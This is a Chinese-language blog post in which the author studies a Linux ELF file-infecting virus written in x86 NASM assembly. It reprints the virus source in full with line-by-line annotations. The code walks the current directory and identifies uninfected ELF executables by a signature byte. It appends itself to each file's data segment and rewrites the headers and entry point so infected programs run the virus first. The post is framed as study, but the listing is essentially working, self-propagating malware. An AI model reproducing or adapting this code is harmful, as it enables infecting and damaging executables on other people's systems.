用匯編編寫病毒

用匯編編寫一個病毒

在github上看到大神用匯編編寫的linux病毒,學習一下

github地址:https://github.com/cranklin/cranky-data-virus/blob/master/cranky_data_virus.asm

源碼分析:

;; nasm -f elf -F dwarf -g cranky_data_virus.asm
;; ld -m elf_i386 -e v_start -o cranky_data_virus cranky_data_virus.o

section .text
    global v_start
;代碼開始處
v_start:
    ; virus body start

    ; make space in the stack for some uninitialized variables to avoid a .bss section
    mov ecx, 2328   ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080)

;不斷向棧上push 0,用作全局未初始化變量空間,依次push是4個字節
loop_bss: push 0x00 ; reserve 4 bytes (double word) of 0's sub ecx, 1 ; decrement our counter by 1 cmp ecx, 0 jbe loop_bss
  ;將這塊空間的地址賦值給edi
mov edi, esp ; esp has our fake .bss offset. Let's store it in edi for now. call folder
  ;這是可以在棧上分配空間的方式,當call執行的時候,EIP被壓棧,這個樣ebx在pop之後就指向了棧中的".",也就是說下面的open打開的是“.” db
".", 0 folder:
  ;目錄就是“.” pop ebx ; name of the folder mov esi, 0 ; reset offset for targets mov eax, 5 ; sys_open mov ecx, 0 mov edx, 0 int 80h   ;檢查返回值,做錯誤處理 cmp eax, 0 ; check if fd in eax > 0 (ok) jbe v_stop ; cannot open file. Exit virus   ;遍歷“.” mov ebx, eax mov eax, 0xdc ; sys_getdents64
  ;將目錄輸出的地址設爲前面分配的棧空間中,地址放在edi+32中 mov ecx, edi ; fake .bss section add ecx, 32 ; offset for buffer mov edx, 1024 int 80h mov eax, 6 ; close int 80h xor ebx, ebx ; zero out ebx as we will use it as the buffer offset ;這裏從結果緩衝區中尋找0008這兩個字節,應該是linux_dirent64結構前面的type等信息有固定模式 find_filename_start: ; look for the sequence 0008 which occurs before the start of a filename
  ;這裏的ebx應該是作爲字符串長度的指針,用1024和ebx做比較,當大於1024的時候直接跳轉到infect,這應該是緩衝區長度不超過1024 inc ebx cmp ebx, 1024 jge infect
  ;edi+32就是存放目錄遍歷輸出的地方,ebx就是向前的所索引,這裏就是利用ebx不斷向前讀,直到找到0008這兩個字符
cmp byte [edi+32+ebx], 0x00 ; edi+32 is buffer jnz find_filename_start inc ebx cmp byte [edi+32+ebx], 0x08 ; edi+32 is buffer jnz find_filename_start   ;往緩衝區頭部寫入.和/,因爲edi是內存區開始,edi+32纔開始存放目錄遍歷的輸出,這裏是直接在edi處寫入當前目錄,ecx做位索引 xor ecx, ecx ; clear out ecx which will be our offset for file mov byte [edi+ecx], 0x2e ; prepend file with ./ for full path (.) edi is filename inc ecx mov byte [edi+ecx], 0x2f ; prepend file with ./ for full path (/) edi is filename inc ecx ;到這裏。ebx作爲索引,在sys_getdents的返回值中遍歷字符串。ecx指向新建的字符串的末尾,兩個都是共用一個緩衝區,新字符串從edi開始,而sys_getdents
;是從edi+32的位置開始存放結果
find_filename_end: ; look for the 00 which denotes the end of a filename inc ebx cmp ebx, 1024 jge infect   ;這裏將esi指向原sys_getdents返回結果(ebx表示結尾處),edi指向新的文件名字符串(ecx表示結尾處),然後使用movsb複製內容 push esi ; save our target offset mov esi, edi ; fake .bss add esi, 32 ; offset for buffer add esi, ebx ; set source push edi ; save our fake .bss add edi, ecx ; set destination to filename movsb ; moved byte from buffer to filename pop edi ; restore our fake .bss pop esi ; restore our target offset inc ecx ; increment offset stored in ecx   ;複製文件名字符串直到末尾是‘\0’ cmp byte [edi+32+ebx], 0x00 ; denotes end of the filename jnz find_filename_end   ;爲新字符串的末尾增加一個‘\0’ mov byte [edi+ecx], 0x00 ; we have a filename. Add a 0x00 to the end of the file buffer   ;ebx表示原緩衝區的結尾處,入棧,當作第一個參數 push ebx ; save our offset in buffer call scan_file pop ebx ; restore our offset in buffer   ;對下一個文件執行操作 jmp find_filename_start ; find next file scan_file: ; check the file for infectability mov eax, 5 ; sys_open 
  ;edi指向的是新字符串的開頭 mov ebx, edi ; path (offset to filename) mov ecx, 0 ; O_RDONLY int 80h cmp eax, 0 ; check if fd in eax > 0 (ok) jbe return ; cannot open file. Return mov ebx, eax ; fd mov eax, 3 ; sys_read mov ecx, edi ; address struct
  ;這裏的2080處寫的是目標文件的內容
add ecx, 2080 ; offset to targetfile in fake .bss mov edx, 12 ; all we need are 4 bytes to check for the ELF header but 12 bytes to find signature int 80h   ;scan_file到這就是打開文件,然後讀取了12個字節,根據這個去判斷可執行文件的格式 call elfheader
  ;這裏的技巧和上面的一樣了,先用call將eip指針入棧,此時eip指向下面的數,接着pop指令就可以將這個數的地址存放到ecx中 dd 0x464c457f
; 0x7f454c46 -> .ELF (but reversed for endianness) elfheader: pop ecx mov ecx, dword [ecx] cmp dword [edi+2080], ecx ; this 4 byte header indicates ELF! (dword). edi+2080 is offset to targetfile in fake .bss jnz close_file ; not an executable ELF binary. Return   ;利用可執行文件頭中的第8個字節往後的空餘字段來標誌該文件是否被感染 ; check if infected mov ecx, 0x001edd0e ; 0x0edd1e00 signature reversed for endianness cmp dword [edi+2080+8], ecx ; signature should show up after the 8th byte. edi+2080 is offset to targetfile in fake .bss jz close_file ; signature exists. Already infected. Close file. save_target:
  ;在下面的movsb中,esi是文件名,這一步之前保存在內存區的頭部,並且加上了'.'和'/',將目標字符串又保存到內存區1056處 ; good target! save filename push esi ; save our targets offset push edi ; save our fake .bss mov ecx, edi ; temporarily place filename offset in ecx add edi, 1056 ; offset to targets in fake .bss add edi, esi mov esi, ecx ; filename -> edi -> ecx -> esi mov ecx, 32 rep movsb ; save another target filename in targets pop edi ; restore our fake .bss pop esi ; restore our targets offset add esi, 32 close_file: mov eax, 6 int 80h ;這一步的return應該return到call scan_file處 return: ret infect: ; let's infect these targets! cmp esi, 0 jbe v_stop ; there are no targets :( exit sub esi, 32 mov eax, 5 ; sys_open mov ebx, edi ; path
  ;前面看到已經將文件名寫到了1056處 add ebx, 1056 ; offset to targets in fake .bss add ebx, esi ; offset of next filename mov ecx, 2 ; O_RDWR int 80h mov ebx, eax ; fd mov ecx, edi add ecx, 2080 ; offset to targetfile in fake .bss ;不斷的讀,直到返回0,這表示讀到了結尾,這裏整個文件都寫到緩衝區2080處,也就是ecx指向的位置 reading_loop: mov eax, 3 ; sys_read mov edx, 1 ; read 1 byte at a time (yeah, I know this can be optimized) int 80h cmp eax, 0 ; if this is 0, we've hit EOF je reading_eof mov eax, edi
  ;文件大小不能超過7232
add eax, 9312 ; 2080 + 7232 cmp ecx, eax ; if the file is over 7232 bytes, let's quit jge infect add ecx, 1 jmp reading_loop ;文件讀取結束之後就跳轉到這裏了 reading_eof:
;此時ecx應該指向的是讀取文件的末尾,讀取文件的內容應該在2080到ecx處,這裏入棧保存下來 push ecx ; store address of last byte read. We'll need this later mov eax, 6 ; close file int 80h   ;這裏開始解析elf文件 xor ecx, ecx xor eax, eax mov cx, word [edi+2080+44] ; ehdr->phnum (number of program header entries)
  ;eax將指向程序頭表的開頭位置 mov eax, dword [edi+2080+28] ; ehdr->phoff (program header offset) sub ax, word [edi+2080+42] ; subtract 32 (size of program header entry) to initialize loop program_header_loop: ; loop through program headers and find the data segment (PT_LOAD, offset>0) ;0 p_type type of segment ;+4 p_offset offset in file where to start the segment at ;+8 p_vaddr his virtual address in memory ;+c p_addr physical address (if relevant, else equ to p_vaddr) ;+10 p_filesz size of datas read from offset ;+14 p_memsz size of the segment in memory ;+18 p_flags segment flags (rwx perms) ;+1c p_align alignement
  ;42處表示一個程序頭表項的大小,此處將 add ax, word [edi+2080+42] cmp ecx, 0
  ;ecx中存放的是程序頭表的帶下,如果等於0,則說明已經遍歷完了 jbe infect ; couldn't find data segment. let's close and look for next target sub ecx, 1 ; decrement our counter by 1   ;TYPE是PT_LOAD,則跳回前面,繼續遍歷下一個程序頭 mov ebx, dword [edi+2080+eax] ; phdr->type (type of segment) cmp ebx, 0x01 ; 0: PT_NULL, 1: PT_LOAD, ... jne program_header_loop ; it's not PT_LOAD. look for next program header   ;ebx指向段的起始地址 mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header) cmp ebx, 0x00 ; if it's 0, it's the text segment. Otherwise, we found the data segment je program_header_loop ; it's the text segment. We're interested in the data segment   ;下面關於每個偏移量都有註釋 mov ebx, dword [edi+2080+24] ; old entry point push ebx ; save the old entry point mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header) mov edx, dword [edi+2080+eax+16] ; phdr->filesz (size of segment on disk) add ebx, edx ; offset of where our virus should reside = phdr[data]->offset + p[data]->filesz push ebx ; save the offset of our virus mov ebx, dword [edi+2080+eax+8] ; phdr->vaddr (virtual address in memory) add ebx, edx ; new entry point = phdr[data]->vaddr + p[data]->filesz   ;這裏寫回一個魔數,表示這個elf文件已經被感染了 mov ecx, 0x001edd0e ; insert our signature at byte 8 (unused section of the ELF header) mov [edi+2080+8], ecx mov [edi+2080+24], ebx ; overwrite the old entry point with the virus (in buffer)
  ;v_stop表示的是程序的末尾,v_start表示的是程序的開頭,兩者相減,最後再加上一個7字節的大小,表示整個程序的大小
  ;因爲在最後寫入文件的時候還會寫入7個字節的跳轉指令,寫在v_stop之後,所以這個大小的計算應該是這樣 add edx, v_stop - v_start ; add size of our virus to phdr->filesz add edx, 7 ; for the jmp to original entry point
  ;重寫 mov [edi+2080+eax+16], edx ; overwrite the old phdr->filesz with the new one (in buffer) mov ebx, dword [edi+2080+eax+20] ; phdr->memsz (size of segment in memory) add ebx, v_stop - v_start ; add size of our virus to phdr->memsz add ebx, 7 ; for the jmp to original entry point mov [edi+2080+eax+20], ebx ; overwrite the old phdr->memsz with the new one (in buffer) xor ecx, ecx xor eax, eax
  ;下面去遍歷節區
mov cx, word [edi+2080+48] ; ehdr->shnum (number of section header entries) mov eax, dword [edi+2080+32] ; ehdr->shoff (section header offset) sub ax, word [edi+2080+46] ; subtract 40 (size of section header entry) to initialize loop ;下面的操作就是去遍歷程序頭表和節區表,更改裏面的一些數據 section_header_loop: ; loop through section headers and find the .bss section (NOBITS) ;0 sh_name contains a pointer to the name string section giving the ;+4 sh_type give the section type [name of this section ;+8 sh_flags some other flags ... ;+c sh_addr virtual addr of the section while running ;+10 sh_offset offset of the section in the file ;+14 sh_size zara white phone numba ;+18 sh_link his use depends on the section type ;+1c sh_info depends on the section type ;+20 sh_addralign alignement ;+24 sh_entsize used when section contains fixed size entrys add ax, word [edi+2080+46] cmp ecx, 0 jbe finish_infection ; couldn't find .bss section. Nothing to worry about. Finish the infection sub ecx, 1 ; decrement our counter by 1 mov ebx, dword [edi+2080+eax+4] ; shdr->type (type of section) cmp ebx, 0x00000008 ; 0x08 is NOBITS which is an indicator of a .bss section jne section_header_loop ; it's not the .bss section mov ebx, dword [edi+2080+eax+12] ; shdr->addr (virtual address in memory) add ebx, v_stop - v_start ; add size of our virus to shdr->addr add ebx, 7 ; for the jmp to original entry point
  ;寫回 mov [edi+2080+eax+12], ebx ; overwrite the old shdr->addr with the new one (in buffer) section_header_loop_2: mov edx, dword [edi+2080+eax+16] ; shdr->offset (offset of section) add edx, v_stop - v_start ; add size of our virus to shdr->offset add edx, 7 ; for the jmp to original entry point mov [edi+2080+eax+16], edx ; overwrite the old shdr->offset with the new one (in buffer) add eax, 40 sub ecx, 1 cmp ecx, 0 jg section_header_loop_2 ; this loop isn't necessary to make the virus function, but inspecting the host file with a readelf -a shows a clobbered symbol table and section/segment mapping finish_infection: ;dword [edi+2080+24] ; ehdr->entry (virtual address of entry point) ;dword [edi+2080+28] ; ehdr->phoff (program header offset) ;dword [edi+2080+32] ; ehdr->shoff (section header offset) ;word [edi+2080+40] ; ehdr->ehsize (size of elf header) ;word [edi+2080+42] ; ehdr->phentsize (size of one program header entry) ;word [edi+2080+44] ; ehdr->phnum (number of program header entries) ;word [edi+2080+46] ; ehdr->shentsize (size of one section header entry) ;word [edi+2080+48] ; ehdr->shnum (number of program header entries) mov eax, v_stop - v_start ; size of our virus minus the jump to original entry point add eax, 7 ; for the jmp to original entry point mov ebx, dword [edi+2080+32] ; the original section header offset add eax, ebx ; add the original section header offset mov [edi+2080+32], eax ; overwrite the old section header offset with the new one (in buffer)   ;到這裏關於原elf文件的更改就結束了, mov eax, 5 ; sys_open mov ebx, edi ; path add ebx, 1056 ; offset to targets in fake .bss add ebx, esi ; offset of next filename mov ecx, 2 ; O_RDWR int 80h mov ebx, eax ; fd mov eax, 4 ; sys_write mov ecx, edi add ecx, 2080 ; offset to targetfile in fake .bss
  ;這裏往前看一個push,可以知道在棧頂的是data段的結尾地址,也就是說這部分是寄生代碼之前需要寫入的數據大小 pop edx ; host file up to the offset where the virus resides int 80h mov [edi+7], edx ; place the offset of the virus in this unused section of the filename buffer call delta_offset delta_offset: pop ebp ; we need to calculate our delta offset because the absolute address of v_start will differ in different host files. This will be 0 in our original virus sub ebp, delta_offset   ;4號調用時write,寫入病毒代碼 mov eax, 4 lea ecx, [ebp + v_start] ; attach the virus portion (calculated with the delta offset) mov edx, v_stop - v_start ; size of virus bytes int 80h   ;這裏再向最後寫入7個字節的代碼,這7個字節可以跳轉回原程序地址 pop edx ; original entry point of host (we'll store this double word in the same location we used for the 32 byte filename) mov [edi], byte 0xb8 ; op code for MOV EAX (1 byte) mov [edi+1], edx ; original entry point (4 bytes) mov [edi+5], word 0xe0ff ; op code for JMP EAX (2 bytes) mov eax, 4 mov ecx, edi ; offset to filename in fake .bss mov edx, 7 ; 7 bytes for the final jmp to the original entry point int 80h mov eax, 4 ; sys_write mov ecx, edi add ecx, 2080 ; offset to targetfile in fake .bss mov edx, dword [edi+7] ; offset of the virus add ecx, edx ; let's continue where we left off pop edx ; offset of last byte in targetfile in fake.bss sub edx, ecx ; length of bytes to write int 80h mov eax, 36 ; sys_sync int 80h mov eax, 6 ; close file int 80h jmp infect v_stop: ; virus body stop (host program start) mov eax, 1 ; sys_exit mov ebx, 0 ; normal status int 80h

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章